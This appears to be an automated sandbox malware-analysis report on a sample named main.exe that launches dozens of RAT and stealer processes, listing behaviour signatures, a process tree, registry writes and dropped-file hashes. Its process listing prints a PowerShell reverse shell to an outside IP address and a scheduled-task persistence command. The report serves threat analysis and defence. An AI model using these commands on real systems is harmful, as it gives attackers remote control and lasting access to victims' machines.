      • powershell.exe (PID: 10080)
      • nfe.sfx.exe (PID: 6004)
      • quasarat.exe (PID: 16264)
      • powershell.exe (PID: 13928)
      • justpoc.exe (PID: 20340)

    • Reads the machine GUID from the registry

      • JcQiZ5o.exe (PID: 7608)
      • VZXCHH66.exe (PID: 8000)
      • RegAsm.exe (PID: 9044)
      • NJRAT%20DANGEROUS.exe (PID: 9796)
      • XClient.exe (PID: 11788)
      • TEST.exe (PID: 12632)
      • Nan_Brout_ncrypt.exe (PID: 12364)
      • ddosziller.exe (PID: 10528)
      • svchost.exe (PID: 13912)
      • 1UCzP6D.exe (PID: 12612)
      • AsyncClient.exe (PID: 10548)
      • imagelogger.exe (PID: 13524)
      • onetap.exe (PID: 14952)
      • client.exe (PID: 15112)
      • Host.exe (PID: 15104)
      • Terminal_9235.exe (PID: 14456)
      • Krishna33.exe (PID: 14424)
      • System32.exe (PID: 12520)
      • s.exe (PID: 16248)
      • quasarat.exe (PID: 16264)
      • boleto.exe (PID: 15368)
      • Installer.exe (PID: 14288)
      • TestExe.exe (PID: 15412)
      • Network.exe (PID: 15376)
      • aaa%20(3).exe (PID: 16312)
      • VB.NET%20CRYPTER%20V2.exe (PID: 16744)
      • discord.exe (PID: 13896)
      • Neverlose%20Loader.exe (PID: 17500)
      • Server1.exe (PID: 13864)
      • intro.avi.exe (PID: 12616)
      • freffercerere.exe (PID: 17732)
      • Client-built.exe (PID: 10108)
      • new.exe (PID: 4192)
      • aaa%20(3).exe (PID: 13356)
      • Java32.exe (PID: 18404)
      • conhost.exe (PID: 17760)
      • rundll32.exe (PID: 14668)
      • Client-built.exe (PID: 18572)
      • SWID_reader.exe (PID: 19132)
      • server.exe (PID: 17200)
      • SteamDetector.exe (PID: 19372)
      • toolwin.exe (PID: 20320)

    • Process checks computer location settings

      • QpKuKKY.exe (PID: 9300)
      • av_downloader1.1.exe (PID: 13968)
      • random.exe (PID: 13888)
      • pornhub_downloader.exe (PID: 14644)
      • pornhub_downloader.exe (PID: 14936)
      • pornhub_downloader.exe (PID: 14972)
      • %D0%A4%D0%BE%D1%80%D0%BC%D0%B0%203%D0%9E%D0%A8%D0%91%D0%A0.exe (PID: 12592)
      • Bloxflip%20Predictor.exe (PID: 14232)
      • njrat.exe (PID: 14464)
      • 444.exe (PID: 14108)
      • Server.exe (PID: 14616)
      • SteamDetector.exe (PID: 16240)
      • suker.exe (PID: 15496)
      • new.exe (PID: 4192)
      • svchost.exe (PID: 13912)
      • NJRAT%20DANGEROUS.exe (PID: 9796)
      • XClient.exe (PID: 11788)
      • NOTallowedtocrypt.exe (PID: 20028)

    • Reads Internet Explorer settings

      • mshta.exe (PID: 10180)
      • mshta.exe (PID: 11532)
      • mshta.exe (PID: 11752)
      • mshta.exe (PID: 11716)
      • mshta.exe (PID: 13024)
      • mshta.exe (PID: 12588)
      • mshta.exe (PID: 13500)
      • mshta.exe (PID: 14440)
      • mshta.exe (PID: 14416)
      • mshta.exe (PID: 14944)
      • mshta.exe (PID: 18440)
      • mshta.exe (PID: 19364)

    • Reads Environment values

      • TEST.exe (PID: 12632)
      • client.exe (PID: 15112)
      • 1UCzP6D.exe (PID: 12612)
      • Network.exe (PID: 15376)
      • Neverlose%20Loader.exe (PID: 17500)
      • Java32.exe (PID: 18404)
      • imagelogger.exe (PID: 13524)
      • svchost.exe (PID: 13912)
      • NJRAT%20DANGEROUS.exe (PID: 9796)
      • XClient.exe (PID: 11788)

    • Creates files in the program directory

      • Nan_Brout_ncrypt.exe (PID: 12364)

    • Process checks whether UAC notifications are on

      • Nan_Brout_ncrypt.exe (PID: 12364)

    • Launching a file from a Registry key

      • Nan_Brout_ncrypt.exe (PID: 12364)
      • webhook.exe (PID: 16332)
      • Bloxflip%20Predictor.exe (PID: 14232)
      • Axam.a.exe (PID: 13948)
      • conhost.exe (PID: 17760)
      • rundll32.exe (PID: 14668)
      • NOTallowedtocrypt.exe (PID: 20028)
      • server.exe (PID: 17200)
      • SteamDetector.exe (PID: 19372)
      • Axam.exe (PID: 19248)
      • quasarat.exe (PID: 16264)
      • Axam.exe (PID: 20064)
      • server.exe (PID: 1324)
      • Axam.exe (PID: 20072)
      • Axam.exe (PID: 20016)

    • Disables trace logs

      • TEST.exe (PID: 12632)
      • client.exe (PID: 15112)
      • powershell.exe (PID: 10208)
      • imagelogger.exe (PID: 13524)
      • svchost.exe (PID: 13912)
      • NJRAT%20DANGEROUS.exe (PID: 9796)
      • XClient.exe (PID: 11788)
      • powershell.exe (PID: 10080)
      • quasarat.exe (PID: 16264)
      • powershell.exe (PID: 13928)

    • Launching a file from the Startup directory

      • Bloxflip%20Predictor.exe (PID: 14232)
      • Axam.a.exe (PID: 13948)
      • conhost.exe (PID: 17760)
      • imagelogger.exe (PID: 13524)
      • SteamDetector.exe (PID: 19372)
      • server.exe (PID: 1324)

    • The sample compiled with korean language support

      • main.exe (PID: 2780)

    • PyInstaller has been detected (YARA)

      • main.exe (PID: 3924)

    • Compiled with Borland Delphi (YARA)

      • conhost.exe (PID: 1164)

    • Reads the software policy settings

      • TEST.exe (PID: 12632)
      • client.exe (PID: 15112)

    • The sample compiled with russian language support

      • main.exe (PID: 2780)

    • The sample compiled with polish language support

      • main.exe (PID: 2780)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 13036)

    • Drops a (possible) Coronavirus decoy

      • main.exe (PID: 2780)

    • The sample compiled with chinese language support

      • main.exe (PID: 2780)

    • The executable file from the user directory is run by the Powershell process

      • Axam.exe (PID: 20232)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 13928)
      • powershell.exe (PID: 16104)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (87.3)
.exe | Generic Win/DOS Executable (6.3)
.exe | DOS Executable Generic (6.3)

EXIF

EXE

MachineType: AMD AMD64
TimeStamp: 2025:06:19 18:59:12+00:00
ImageFileCharacteristics: Executable, Large address aware
PEType: PE32+
LinkerVersion: 14.43
CodeSize: 178688
InitializedDataSize: 154624
UninitializedDataSize: -
EntryPoint: 0xc380
OSVersion: 6
ImageVersion: -
SubsystemVersion: 6
Subsystem: Windows command line
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
417
Monitored processes
290
Malicious processes
56
Suspicious processes
21

Behavior graph

Click at the process to see the details
start main.exe conhost.exe no specs #METERPRETER main.exe cmd.exe schtasks.exe no specs cmd.exe no specs taskmgr.exe no specs #PHISHING svchost.exe jcqiz5o.exe no specs vzxchh66.exe no specs #XWORM regasm.exe qpkukky.exe cmd.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe mshta.exe no specs powershell.exe conhost.exe no specs njrat%20dangerous.exe cmd.exe no specs powershell.exe no specs #AMADEY nudwee.exe powershell.exe conhost.exe no specs conhost.exe no specs conhost.exe no specs #ASYNCRAT ddosziller.exe no specs #ASYNCRAT asyncclient.exe no specs tmp.exe elf.exe shell.exe dumpaaduserprt.exe no specs conhost.exe no specs mshta.exe no specs powershell.exe no specs conhost.exe no specs mshta.exe no specs mshta.exe no specs sys.exe xclient.exe #REMCOS evetbeta.exe #NANOCORE nan_brout_ncrypt.exe test.exe volatus0.5.exe no specs sup.exe uac_bypass.exe no specs #STEALC vtoroy.exe no specs conhost.exe no specs doppelganger.exe no specs mshta.exe no specs %d0%a4%d0%be%d1%80%d0%bc%d0%b0%203%d0%9e%d0%a8%d0%91%d0%a0.exe #PURELOGS 1uczp6d.exe #XWORM system32.exe pclient.exe no specs mimilove.exe no specs kg.exe no specs mshta.exe no specs conhost.exe no specs powershell.exe conhost.exe no specs conhost.exe no specs conhost.exe no specs powershell.exe cmd.exe no specs kdmapper_release.exe no specs world%20of%20tanks.exe vikings.exe no specs mshta.exe no specs keygen.exe no specs powershell.exe no specs #ASYNCRAT imagelogger.exe conhost.exe no specs conhost.exe no specs conhost.exe no specs conhost.exe no specs conhost.exe no specs random.exe script.exe no specs #NJRAT fast%20download.exe no specs svchost.exe exporttabletester.exe no specs powershell.exe no specs av_downloader.exe no specs #STEALC perviy.exe no specs av_downloader1.1.exe no specs 444.exe no specs 444.exe #NJRAT bloxflip%20predictor.exe no specs conhost.exe no specs conhost.exe no specs #NJRAT bloxflip%20predictor.exe searchuii.exe no specs award.pdf.exe powershell.exe no specs conhost.exe no specs #NJRAT server1.exe plantrojan.exe cmd.exe no specs pst.exe no specs powershell.exe no specs worldoffice.exe lab01-02.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs mshta.exe no specs #ASYNCRAT krishna33.exe no specs powershell.exe no specs mshta.exe no specs cmd.exe no specs terminal_9235.exe no specs #NJRAT njrat.exe #STEALC tretiy.exe no specs njrat.exe no specs conhost.exe no specs conhost.exe no specs conhost.exe no specs conhost.exe no specs conhost.exe no specs conhost.exe no specs #NJRAT server.exe njrat.exe no specs server.exe no specs pornhub_downloader.exe no specs conhost.exe no specs powershell.exe no specs cmd.exe no specs conhost.exe no specs worldofficee.exe pornhub_downloader.exe no specs mshta.exe no specs onetap.exe no specs process-injection.exe no specs pornhub_downloader.exe no specs self-injection.exe no specs winbox.exe no specs conhost.exe no specs #REMCOS host.exe client.exe winbox.exe no specs conhost.exe no specs conhost.exe no specs cmd.exe no specs connector1.exe #AMADEY suker.exe powershell.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs cmd.exe no specs donut.exe no specs #RAT steamdetector.exe s.exe no specs netsh.exe no specs #QUASAR quasarat.exe hack.exe no specs #REMCOS prueba.exe no specs https.exe ipscan.exe no specs donut.exe no specs #ASYNCRAT aaa%20(3).exe no specs anap.a.exe no specs webhook.exe nfe.sfx.exe no specs powershell.exe no specs powershell.exe no specs zeropersca.exe no specs powershell.exe no specs installer.exe no specs conhost.exe no specs lollo2.exe backdoor.exe no specs powershell.exe no specs boleto.exe no specs network.exe no specs conhost.exe no specs conhost.exe no specs 1223.exe testexe.exe no specs axam.a.exe crazycoach.exe no specs pcclear_eng_mini.exe conhost.exe no specs cmd.exe no specs discord.exe no specs conhost.exe no specs conhost.exe no specs conhost.exe no specs conhost.exe no specs conhost.exe no specs conhost.exe no specs conhost.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs withefile.exe no specs conhost.exe no specs te.exe conhost.exe no specs conhost.exe no specs your_app.exe no specs vb.net%20crypter%20v2.exe no specs openwith.exe no specs cmd.exe no specs #NJRAT server.exe mspaint.exe no specs neverlose%20loader.exe no specs conhost.exe no specs mimikatz.exe no specs conhost.exe no specs conhost.exe no specs #NJRAT bloxflip predictor.exe no specs attrib.exe no specs #ASYNCRAT freffercerere.exe #NJRAT conhost.exe conhost.exe no specs powershell.exe no specs conhost.exe no specs intro.avi.exe no specs cmd.exe no specs #ASYNCRAT aaa%20(3).exe no specs powershell.exe no specs #NJRAT server.exe conhost.exe no specs nfe.sfx.exe no specs #NJRAT rundll32.exe powershell.exe no specs werfault.exe no specs client-built.exe no specs conhost.exe no specs new.exe #QUASARRAT java32.exe conhost.exe no specs netsh.exe no specs powershell.exe no specs conhost.exe no specs mshta.exe no specs netsh.exe no specs conhost.exe no specs swid_reader.exe no specs powershell.exe no specs mshta.exe no specs net.exe no specs srtware.exe no specs schtasks.exe no specs conhost.exe no specs client-built.exe no specs conhost.exe no specs #NJRAT steamdetector.exe cmd.exe no specs net1.exe no specs powershell.exe no specs netsh.exe no specs axam.exe conhost.exe no specs netsh.exe no specs conhost.exe no specs axam.exe #REMCOS notallowedtocrypt.exe axam.exe axam.exe cmd.exe no specs powershell.exe no specs justpoc.exe no specs conhost.exe no specs conhost.exe no specs cmd.exe no specs axam.exe no specs powershell.exe no specs powershell.exe no specs conhost.exe no specs netsh.exe no specs toolwin.exe no specs slui.exe no specs netsh.exe no specs conhost.exe no specs conhost.exe no specs netsh.exe no specs conhost.exe no specs axam.exe no specs schtasks.exe no specs conhost.exe no specs csc.exe no specs steamerx.exe no specs main.exe no specs explorer.exe

Process information

PID
CMD
Path
Indicators
Parent process
188\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—netsh.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1164\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—main.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1324"C:\Users\admin\server.exe" C:\Users\admin\server.exe
Server.exe
User:
admin
Integrity Level:
HIGH
Modules
Images
c:\users\admin\server.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\mscoree.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
1632pst.exeC:\Users\admin\AppData\Local\Temp\a\pst.exe—main.exe
User:
admin
Company:
Oleg N. Scherbakov
Integrity Level:
HIGH
Description:
7z Setup SFX (x86)
Version:
1.7.0.3873
Modules
Images
c:\users\admin\appdata\local\temp\a\pst.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\shell32.dll
2072C:\WINDOWS\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\admin\AppData\Local\Temp\main.exe\" /SC ONLOGON /RL HIGHEST /F"C:\Windows\System32\cmd.exe
main.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
2200C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
2704"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Command " = New-Object System.Net.Sockets.TCPClient('37.97.253.201',4432); = .GetStream(); [byte[]] = 0..65535|%{0}; while(( = .Read(, 0, .Length)) -ne 0){; = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(,0, ); = (iex 2>&1 | Out-String ); = + 'PS ' + (pwd).Path + '> '; = ([text.encoding]::ASCII).GetBytes(); .Write(,0,.Length); .Flush()}; .Close()"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2780"C:\Users\admin\AppData\Local\Temp\main.exe" C:\Users\admin\AppData\Local\Temp\main.exe
main.exe
User:
admin
Integrity Level:
HIGH
Modules
Images
c:\users\admin\appdata\local\temp\main.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
3288cmd.exe /C start c:\Windows\System32\Taskmgr.exeC:\Windows\System32\cmd.exe—main.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
3720"C:\Users\admin\AppData\Local\Temp\main.exe" C:\Users\admin\AppData\Local\Temp\main.exe—explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
3221226540
Modules
Images
c:\users\admin\appdata\local\temp\main.exe
c:\windows\system32\ntdll.dll
Total events
165 852
Read events
165 544
Write events
299
Delete events
9

Modification events

(PID) Process:(4772) explorer.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SessionInfo\1\ApplicationViewManagement\W32:00000000000702BE
Operation:writeName:VirtualDesktop
Value:
10000000303044563096AFED4A643448A750FA41CFC7F708
(PID) Process:(4772) explorer.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SessionInfo\1\ApplicationViewManagement\W32:0000000000060374
Operation:writeName:VirtualDesktop
Value:
10000000303044563096AFED4A643448A750FA41CFC7F708
(PID) Process:(6240) Taskmgr.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\TaskManager
Operation:delete valueName:Preferences
Value:
(PID) Process:(6240) Taskmgr.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\TaskManager
Operation:writeName:Preferences
Value:
0D00000060000000600000006800000068000000E3010000DC010000000001000000008000000080D8010080DF010080000100016B00000034000000130300008C020000E80300000000000000000000000000000F000000010000000000000058AAEE82F77F00000000000000000000000000002E0100001E0000008990000000000000FF00000001015002000000000D0000000000000098AAEE82F77F00000000000000000000FFFFFFFF960000001E0000008B900000010000000000000000101001000000000300000000000000B0AAEE82F77F00000000000000000000FFFFFFFF780000001E0000008C900000020000000000000001021200000000000400000000000000C8AAEE82F77F00000000000000000000FFFFFFFF960000001E0000008D900000030000000000000000011001000000000200000000000000E8AAEE82F77F00000000000000000000FFFFFFFF320000001E0000008A90000004000000000000000008200100000000050000000000000000ABEE82F77F00000000000000000000FFFFFFFFC80000001E0000008E90000005000000000000000001100100000000060000000000000028ABEE82F77F00000000000000000000FFFFFFFF040100001E0000008F90000006000000000000000001100100000000070000000000000050ABEE82F77F00000000000000000000FFFFFFFF49000000490000009090000007000000000000000004250000000000080000000000000080AAEE82F77F00000000000000000000FFFFFFFF49000000490000009190000008000000000000000004250000000000090000000000000070ABEE82F77F00000000000000000000FFFFFFFF490000004900000092900000090000000000000000042508000000000A0000000000000088ABEE82F77F00000000000000000000FFFFFFFF4900000049000000939000000A0000000000000000042508000000000B00000000000000A8ABEE82F77F00000000000000000000FFFFFFFF490000004900000039A000000B0000000000000000042509000000001C00000000000000C8ABEE82F77F00000000000000000000FFFFFFFFC8000000490000003AA000000C0000000000000000011009000000001D00000000000000F0ABEE82F77F00000000000000000000FFFFFFFF64000000490000004CA000000D0000000000000000021508000000001E0000000000000010ACEE82F77F00000000000000000000FFFFFFFF64000000490000004DA000000E000000000000000002150800000000030000000A000000010000000000000058AAEE82F77F0000000000000000000000000000D70000001E0000008990000000000000FF00000001015002000000000400000000000000C8AAEE82F77F0000000000000000000001000000960000001E0000008D900000010000000000000001011000000000000300000000000000B0AAEE82F77F00000000000000000000FFFFFFFF640000001E0000008C900000020000000000000000021000000000000C0000000000000040ACEE82F77F0000000000000000000003000000640000001E00000094900000030000000000000001021000000000000D0000000000000068ACEE82F77F00000000000000000000FFFFFFFF640000001E00000095900000040000000000000000011001000000000E0000000000000090ACEE82F77F0000000000000000000005000000320000001E00000096900000050000000000000001042001000000000F00000000000000B8ACEE82F77F0000000000000000000006000000320000001E00000097900000060000000000000001042001000000001000000000000000D8ACEE82F77F0000000000000000000007000000460000001E00000098900000070000000000000001011001000000001100000000000000F8ACEE82F77F00000000000000000000FFFFFFFF640000001E0000009990000008000000000000000001100100000000060000000000000028ABEE82F77F0000000000000000000009000000040100001E0000008F9000000900000000000000010110010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000B000000010000000000000058AAEE82F77F0000000000000000000000000000D70000001E0000009E90000000000000FF0000000101500200000000120000000000000020ADEE82F77F00000000000000000000FFFFFFFF2D0000001E0000009B90000001000000000000000004200100000000140000000000000040ADEE82F77F00000000000000000000FFFFFFFF640000001E0000009D90000002000000000000000001100100000000130000000000000068ADEE82F77F00000000000000000000FFFFFFFF640000001E0000009C900000030000000000000000011001000000000300000000000000B0AAEE82F77F00000000000000000000FFFFFFFF640000001E0000008C90000004000000000000000102100000000000070000000000000050ABEE82F77F000000000000000000000500000049000000490000009090000005000000000000000104210000000000080000000000000080AAEE82F77F000000000000000000000600000049000000490000009190000006000000000000000104210000000000090000000000000070ABEE82F77F0000000000000000000007000000490000004900000092900000070000000000000001042108000000000A0000000000000088ABEE82F77F0000000000000000000008000000490000004900000093900000080000000000000001042108000000000B00000000000000A8ABEE82F77F0000000000000000000009000000490000004900000039A00000090000000000000001042109000000001C00000000000000C8ABEE82F77F000000000000000000000A00000064000000490000003AA000000A00000000000000000110090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000008000000010000000000000058AAEE82F77F0000000000000000000000000000C60000001E000000B090000000000000FF0000000101500200000000150000000000000088ADEE82F77F00000000000000000000FFFFFFFF6B0000001E000000B1900000010000000000000000042500000000001600000000000000B8ADEE82F77F00000000000000000000FFFFFFFF6B0000001E000000B2900000020000000000000000042500000000001800000000000000E0ADEE82F77F00000000000000000000FFFFFFFF6B0000001E000000B490000003000000000000000004250000000000170000000000000008AEEE82F77F00000000000000000000FFFFFFFF6B0000001E000000B390000004000000000000000004250000000000190000000000000040AEEE82F77F00000000000000000000FFFFFFFFA00000001E000000B5900000050000000000000000042001000000001A0000000000000070AEEE82F77F00000000000000000000FFFFFFFF7D0000001E000000B6900000060000000000000000042001000000001B00000000000000A0AEEE82F77F00000000000000000000FFFFFFFF7D0000001E000000B790000007000000000000000004200100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000DA00000000000000000000000000000000000000000000009D200000200000009100000064000000320000006400000050000000320000003200000028000000500000003C0000005000000050000000320000005000000050000000500000005000000050000000500000002800000050000000230000002300000023000000230000005000000050000000500000003200000032000000320000007800000078000000500000003C00000050000000500000009700000032000000780000003200000050000000500000005000000050000000000000000100000002000000030000000400000005000000060000000700000008000000090000000A0000000B0000000C0000000D0000000E0000000F000000100000001100000012000000130000001400000015000000160000001700000018000000190000001A0000001B0000001C0000001D0000001E0000001F000000200000002100000022000000230000002400000025000000260000002700000028000000290000002A0000002B0000002C00000000000000000000001F00000000000000B400000032000000D8000000640000006400000000000000000000000000000000000000000000000000000000000000000000000000000000000000DA000000000000000000000000000000000000009D200000200000009100000064000000320000009700000050000000320000003200000028000000500000003C000000500000005000000032000000500000005000000050000000500000005000000050000000500000002800000050000000230000002300000023000000230000005000000050000000500000003200000032000000320000007800000078000000500000003C0000005000000064000000780000003200000078000000780000003200000050000000500000005000000050000000C8000000000000000100000002000000030000000400000005000000060000000700000008000000090000000A0000000B0000000C0000000D0000000E0000000F000000100000001100000012000000130000001400000015000000160000001700000018000000190000001A0000001B0000001C0000001D0000001E0000001F000000200000002100000022000000230000002400000025000000260000002700000028000000290000002A0000002B0000002C0000002D0000002E0000002F00000000000000000000001F00000000000000B400000032000000D8000000640000006400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000002000000030000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000
(PID) Process:(4772) explorer.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SessionInfo\1\ApplicationViewManagement\W32:0000000000010402
Operation:writeName:VirtualDesktop
Value:
10000000303044563096AFED4A643448A750FA41CFC7F708
(PID) Process:(4772) explorer.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SessionInfo\1\ApplicationViewManagement\W32:0000000000020474
Operation:writeName:VirtualDesktop
Value:
10000000303044563096AFED4A643448A750FA41CFC7F708
(PID) Process:(12092) evetbeta.exeKey:HKEY_CURRENT_USER\SOFTWARE\remcos_yxflxtczmk
Operation:writeName:EXEpath
Value:
®cMͦ*‰oòûÚ+Ãm.}Ì,ZZ}j"¡îooõ§‰¸è2¬J¨íÌ}
(PID) Process:(4772) explorer.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SessionInfo\1\ApplicationViewManagement\W32:000000000002046A
Operation:writeName:VirtualDesktop
Value:
10000000303044563096AFED4A643448A750FA41CFC7F708
(PID) Process:(4772) explorer.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SessionInfo\1\ApplicationViewManagement\W32:0000000000070236
Operation:writeName:VirtualDesktop
Value:
10000000303044563096AFED4A643448A750FA41CFC7F708
(PID) Process:(10284) nudwee.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
Executable files
361
Suspicious files
22
Text files
134
Unknown types
2

Dropped files

PID
Process
Filename
Type
3924main.exeC:\Users\admin\AppData\Local\Temp\_MEI39242\_bz2.pydexecutable
MD5:684D656AADA9F7D74F5A5BDCF16D0EDB
SHA256:A5DFB4A663DEF3D2276B88866F6D220F6D30CC777B5D841CF6DBB15C6858017C
4772explorer.exeC:\Users\admin\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.datbinary
MD5:E49C56350AEDF784BFE00E444B879672
SHA256:A8BD235303668981563DFB5AAE338CB802817C4060E2C199B7C84901D57B7E1E
3924main.exeC:\Users\admin\AppData\Local\Temp\_MEI39242\_overlapped.pydexecutable
MD5:363409FBACB1867F2CE45E3C6922DDB4
SHA256:F154AC9D5CA0646D18F6197C0406F7541B6E0752B2D82A330036C1E39D3A49E7
3924main.exeC:\Users\admin\AppData\Local\Temp\_MEI39242\_lzma.pydexecutable
MD5:D63E2E743EA103626D33B3C1D882F419
